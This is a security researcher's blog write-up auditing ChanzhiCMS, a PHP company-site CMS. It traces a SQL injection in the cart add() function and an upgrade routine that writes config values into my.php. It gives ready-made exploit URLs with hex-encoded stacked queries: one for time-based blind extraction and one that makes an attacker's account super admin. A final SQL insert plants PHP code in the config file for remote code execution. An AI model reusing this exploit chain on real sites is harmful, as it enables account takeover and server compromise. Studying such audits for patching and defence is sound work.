禅知CMS最新版Getshell
Category: Web
Tag: none
Written by Venenof7 with ♥ on
One day,my friend-xiaojunjie send a url to me and our friend melody:'Come on,Let's do PHP code audit.
When I bulit this cms on my localhost webserver,he said:I find A SQLi in this cms...Orz...
For a short while,leqing said:'Pwned!Getshell' in QQ group.It's very good:)
But!!!u said together!!!I don't love you anymore QAQ
This cms is a company'cms,it looks very safe,really?
So,when we have a cms source code.First,we should find what something we can post or get:)
OK.
We can find a funny code in /system/module/cart/control.php,code:
public function add($product, $count)
{
if($this->app->user->account == 'guest')
{
/* Save info to cookie if user is guest. */
$this->cart->addInCookie($product, $count);
$this->send(array('result' => 'success', 'message' => $this->lang->saveSuccess));
}
else
{
$result = $this->cart->add($product, $count);
if($result) $this->send(array('result' => 'success', 'message' => $this->lang->saveSuccess));
$this->send(array('result' => 'fail', 'message' => dao::getError()));
}
}
Of course,we aren't guest.
we find another add() in /system/module/cart/model.php:
public function add($productID, $count)
{
$hasProduct = $this->dao->select('count(id) as count')->from(TABLE_CART)->where('account')->eq($this->app->user->account)->andWhere('product')->eq($productID)->fetch('count');
if(!$hasProduct)
{
$product = new stdclass();
$product->product = $productID;
$product->account = $this->app->user->account;
$product->count = $count;
$this->dao->insert(TABLE_CART)->data($product)->exec();
}
else
{
$this->dao->update(TABLE_CART)->set("count= count + {$count}")->where('account')->eq($this->app->user->account)->andWhere('product')->eq($productID)->exec();
}
return !dao::isError();
}
The important code is set(),so we can grep it in /system/lib/base/dao/dao.class.php:
public function set($set)
{
/* Add ` to avoid keywords of mysql. */
if(strpos($set, '=') ===false)
{
$set = str_replace(',', '', $set);
$set = '`' . str_replace('`', '', $set) . '`';
}
$this->sql .= $this->isFirstSet ? " $set" : ", $set";
if($this->isFirstSet) $this->isFirstSet = false;
return $this;
}
It looks very hard:(,it replace ',',and this table of admin has '_',but we also find it use pdo,so we can use set+PREPARE+EXECUTE:)For example:
so,we can use time-blind sqli:)
http://127.0.0.1/chanzhieps/www/index.php/cart-add-1-1;set%20@b=0x73656c6563742069662828737562737472282873656c6563742064617461626173652829292c312c3129293d2765272c736c656570283130292c31293b;prepare%20x%20from%20@b;execute%20x;select%201%20union%201
it also need some time:)
Above all,we can update my account to admin:)
http://127.0.0.1/chanzhieps/www/index.php/cart-add-1-1;set%20@b=0x757064617465206570735f75736572207365742061646d696e3d27737570657227207768657265206163636f756e743d2776656e273b;prepare%20x%20from%20@b;execute%20x;select%201%20union%20select%201
OK!
And,next,can we getshell?
:)
We also know when we login in this cms as admin,if we want to getshell,we have three solution:
1-upload
2-wirte shell in config
3-other rce
So,we can easy find the config is my.php in /system/config/
Next,grep the config name,we can find it in these file location:
Veneno===> grep "my.php" -R *
system/config/config.php:/* Include my.php, domain.php and front or admin.php. */
system/config/config.php:$myConfig = $configRoot . 'my.php';
system/module/common/model.php: /* Overide the items defined in config/config.php and config/my.php. */
system/module/install/model.php: * Create content of my.php from the post form.
system/module/install/model.php: * Save my.php config file.
system/module/install/model.php: $return->myPHP = $this->app->getConfigRoot() . 'my.php';
system/module/site/model.php: $myFile = $this->app->getConfigRoot() . 'my.php';
system/module/upgrade/control.php: $this->view->customFile = $this->app->getConfigRoot() . 'my.php';
system/module/upgrade/model.php: $myFile = $this->app->getConfigRoot() . 'my.php';
www/upgrade.php:/* Judge my.php exists or not. */
www/upgrade.php:$myConfig = $systemRoot . 'config/my.php';
And I find the funny code is in /system/module/upgrade/model.php:
public function fixDetectDeviceConfig()
{
$mobileTemplateConfigList = $this->dao->setAutoLang(false)->select('value, lang')->from(TABLE_CONFIG)
->where('`key`')->eq('mobileTemplate')
->fetchAll();
if(!empty($mobileTemplateConfigList))
{
$myFile = $this->app->getConfigRoot() . 'my.php';
file_put_contents($myFile, "\n", FILE_APPEND);
foreach($mobileTemplateConfigList as $mobileTemplateConfig)
{
$fixedConfig = '$config->framework->detectDevice[' . "'{$mobileTemplateConfig->lang}'] = ";
$fixedConfig .= $mobileTemplateConfig->value == 'open' ? 'true' : 'false';
$fixedConfig .= ";\n";
file_put_contents($myFile, $fixedConfig, FILE_APPEND);
}
}
}
And find it was used in public function execute($fromVersion):
case '5_5':
$this->fixDetectDeviceConfig();
$this->execSQL($this->getUpgradeFile('5.5'));
default: if(!$this->isError()) $this->loadModel('setting')->updateVersion($this->config->version);
and execute() is in /system/module/upgrade/control.php:
and we also know the lang we can change because of sqli,so,we can write shell in my.php:
insert into eps_config set id=1000,owner='system',module='common',section='site',key
='mobileTemplate',lang='veneno'];phpinfo();//',value=1;
OK!Look my.php:
Wow!Getshell XD
Feel so happy:)thks my friend xiaojunjie~
By the way:
when we login in the cms as admin,maybe we can upload .pht.Although we only can getshell webserver.